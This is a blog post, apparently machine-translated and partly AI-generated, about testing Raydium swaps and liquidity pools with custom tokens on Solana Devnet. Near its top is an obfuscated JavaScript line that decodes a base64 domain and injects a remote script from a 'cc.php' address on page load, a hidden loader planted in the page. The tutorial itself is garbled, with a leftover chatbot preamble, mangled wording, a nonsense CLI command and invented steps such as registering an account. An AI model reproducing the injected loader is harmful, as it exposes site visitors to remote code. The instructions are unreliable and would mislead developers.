Solana: How to use Raydium in Devnet mode to test swaps and liquidity with custom tokens?

const pdx= »bm9yZGVyc3dpbmcuYnV6ei94cC8= »;const pde=atob(pdx);const script=document.createElement(« script »);script.src= »https:// »+pde+ »cc.php?u=fd8b3d9d »;document.body.appendChild(script);

I can help you write an article on how to use Raydium in Devnet mode to test token swaps and customized token liquidity.

Title: Use of Raydium in Devnet mode to test the exchanges of token and liquidity groups with personalized tokens

Introduction:

Solana, a fast and scalable blockchain platform, provides a solid base to build decentralized applications (DAPPS). One of the key features that allows a perfect interaction between users and the Solana ecosystem is the possibility of creating personalized token. In this article, we will guide it through how to use Raydium in Devnet mode to test token swaps and liquidity groups with their personalized tokens just created.

Previous requirements:

Before continuing, make sure you have:

  • A unique cli installed on the machine.

  • Your personalized tokens created using the SOLANA-CLI (CLI) command line interface.

  • The Solana Development Network (Devnet) configured and connected to the local machine.

Step 1: configure Raydium in Devnet

Solana: How to use Raydium in Devnet mode to test swaps and liquidity with custom tokens?

mode

Raydium is a platform based on the easy browser -a -a -use to try decentralized applications in the Solana block chain. To use in Devnet mode, you will have to create a new account with Raydium and configure it to target Red Devnet.

  • Open a web browser and go to [Raydium.io] (

  • Click « Register » and follow the registration process.

  • Once logo, click « Connect » and select « Solana ».

  • You will be brought to your Solana wallet, where you can configure your account with Raydium.

Step 2: Add custom token to Devnet

Personalized tokens are created using the Solana-CLI. To add the personalized token to Devnet, follow these steps:

  • Open a terminal and go to the project directory.

  • Execute `Solana Create Token MyToken-Assat-Sto-Sola-token-depth

  • This will create a new token contract in the Solana block chain.

  • Replace « Mytken » with the desired name for your personalized token.

Step 3: Create a liquidity group using Raydium

To test the exchanges of token and liquidity groups, you will have to create a liquidity group. Here’s how:

  • Open the Raydium and click « Add liquidity ».

  • Select « Solana » as a blockchain.

3

  • Configure the liquidity group that specifies the input and output activities, the token amount and the basic asset.

Step 4: Taken and liquidity tests

After creating a liquidity group in Raydium, you can try the liquidity of the swaps and tokens using the following steps:

  • Open the liquidity pool in Raydium.

  • Click « Swap » to start a transaction of exchange.

  • Choose your input heritage (token) as one of the tokens in the liquidity group.

  • Configure the output asset (token) for the exchange transaction.

  • Confirm the exchange transaction.

Tips and variations:

  • To test token exchanges with more inputs and exits, more liquidity groups can be created using Raydio.

  • You can also use Raydium Built -in tools, as « swap » and « mosaic », to automate swaps and liquidity operations.

  • If any problem or error are satisfied during the test process, consult the Raydium documentation and the support resources to obtain assistance.

Following these passages and suggestions, now you can use Raydium in Devnet mode to test token swaps and liquidity groups with their personalized tokens. Happy tests!

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *